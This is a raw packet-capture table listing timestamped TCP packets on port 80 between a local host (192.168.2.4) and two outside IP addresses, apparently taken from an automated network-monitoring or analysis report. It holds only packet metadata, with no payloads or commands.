Nov 23, 2024 03:21:23.843635082 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.843844891 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.843892097 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.843905926 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.843933105 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.843950033 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.844537973 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.844647884 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.844698906 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.845196962 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.845237017 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.845299959 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.845339060 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.845551968 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.845649958 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.845736027 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.846534967 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.846596956 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.846618891 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.846621037 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.846643925 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.846683025 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.847599030 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.847651958 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.847698927 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.847749949 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.847879887 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.847919941 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.847980976 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.848017931 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.848592043 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.848709106 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.849225044 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.849275112 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.849334002 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.849359989 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.849368095 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.849667072 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.849735975 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.849783897 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.850605965 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.850647926 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.850663900 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.850684881 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.850763083 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.850806952 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.851655006 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.851774931 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.851821899 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.851907969 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.851948023 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.851994038 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.852031946 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.852608919 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.853307009 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.853349924 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.853393078 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.854665995 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.854688883 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.854706049 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.854722023 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.855974913 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.856024027 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.856075048 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.856116056 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.857300997 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.857352972 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.857397079 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.857434988 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.858645916 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.858753920 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.858798027 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.859999895 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.860044003 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.860090017 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.860135078 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.861331940 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.861375093 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.861435890 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.861476898 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.862694979 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.862862110 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.862907887 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.864032030 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.864072084 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.864147902 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.864187002 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.865375042 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.865412951 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.865418911 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.865449905 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.866801977 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.866869926 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.866909027 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.868069887 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.868122101 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.868165016 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.868205070 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.869399071 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.869460106 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.869527102 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.869617939 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.870743036 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.870863914 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.870904922 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.872092009 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.872133017 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.872205019 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.872240067 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.873428106 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.873469114 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.873545885 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.873585939 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.874773026 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.874893904 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.874936104 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.876130104 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.876171112 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.876220942 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.876260996 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.877461910 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.877501011 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.877506018 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.877542973 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.878810883 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.878933907 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.878988981 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.879165888 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.880208969 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.880274057 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.880320072 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.881519079 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.881558895 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.881577015 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.881614923 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.882855892 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.883057117 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.883097887 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.884202003 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.884243011 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.884315014 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.885576963 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.885617018 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.885649920 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.885688066 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.886883020 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.886991024 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.887039900 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.888231039 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.888269901 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.888336897 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.888375044 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.889565945 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.889607906 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.889672041 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.889705896 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.890974045 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.891056061 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.891103983 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.892272949 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.892316103 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.892389059 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.892429113 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.893626928 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.893672943 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.893722057 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.893763065 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.894962072 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.895071983 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.895116091 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.896297932 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.896359921 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.896409035 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.896447897 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.897649050 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.897687912 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.897800922 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.897840023 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.898992062 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.899120092 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.899168968 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.900353909 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.900398016 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.006561995 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.006629944 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.006661892 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.006700039 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.007215977 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.007252932 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.007333040 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.007369995 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.008584023 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.008676052 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.008702993 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.008702993 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.009851933 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.010015011 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.010061979 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.010132074 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.010180950 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.010543108 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.010646105 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.011567116 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.011614084 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.011693001 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.011738062 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.012584925 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.012696028 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.013459921 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.013582945 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.013726950 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.013794899 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.014589071 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.014697075 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.014750004 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.015618086 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.015721083 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.016638994 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.016686916 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.016743898 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.016789913 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.017661095 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.017801046 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.018625021 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.018726110 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.018781900 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.019685984 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.019733906 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.019772053 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.019815922 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.020715952 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.020829916 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.021742105 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.021790028 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.021840096 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.021884918 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.022713900 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.022838116 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.022892952 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.023746967 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.023863077 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.024775028 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.024887085 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.024961948 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.025789976 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.025911093 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.026220083 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.026808977 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.026917934 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.026968956 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.027828932 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.027941942 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.028875113 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.028945923 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.028955936 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.029000044 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.030035973 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.030175924 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.030230045 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.030870914 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.030980110 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.031033993 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.031889915 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.032010078 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.032098055 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.032907963 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.033015013 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.033061981 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.033917904 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.034035921 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.034148932 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.034928083 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.035046101 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.035406113 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.035463095 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.035471916 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.035501957 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.035515070 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.035959005 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.036022902 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.036039114 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.036086082 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.036124945 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.036156893 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.036175966 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.036973953 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.037085056 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.037138939 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.037194967 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.037235975 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.037296057 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.037332058 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.037991047 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.038096905 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.038383961 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.038430929 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.038486004 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.038511992 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.038527012 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.039033890 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.039108038 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.039159060 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.039563894 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.039601088 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.039686918 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.039726973 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.040019989 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.040148973 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.040757895 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.040808916 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.040865898 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.040899992 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.040899992 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.041018963 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.041146040 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.041192055 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.041966915 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.042010069 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.042089939 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.042104959 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.042129040 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.042129040 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.042630911 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.043064117 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.043159008 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.043174028 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.043189049 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.043220043 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.043245077 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.043245077 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.044090986 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.044208050 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.044258118 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.044317007 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.044357061 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.044414997 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.044455051 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.045085907 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.045212030 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.045505047 CET	80	49790	185.215.113.16	192.168.2.4
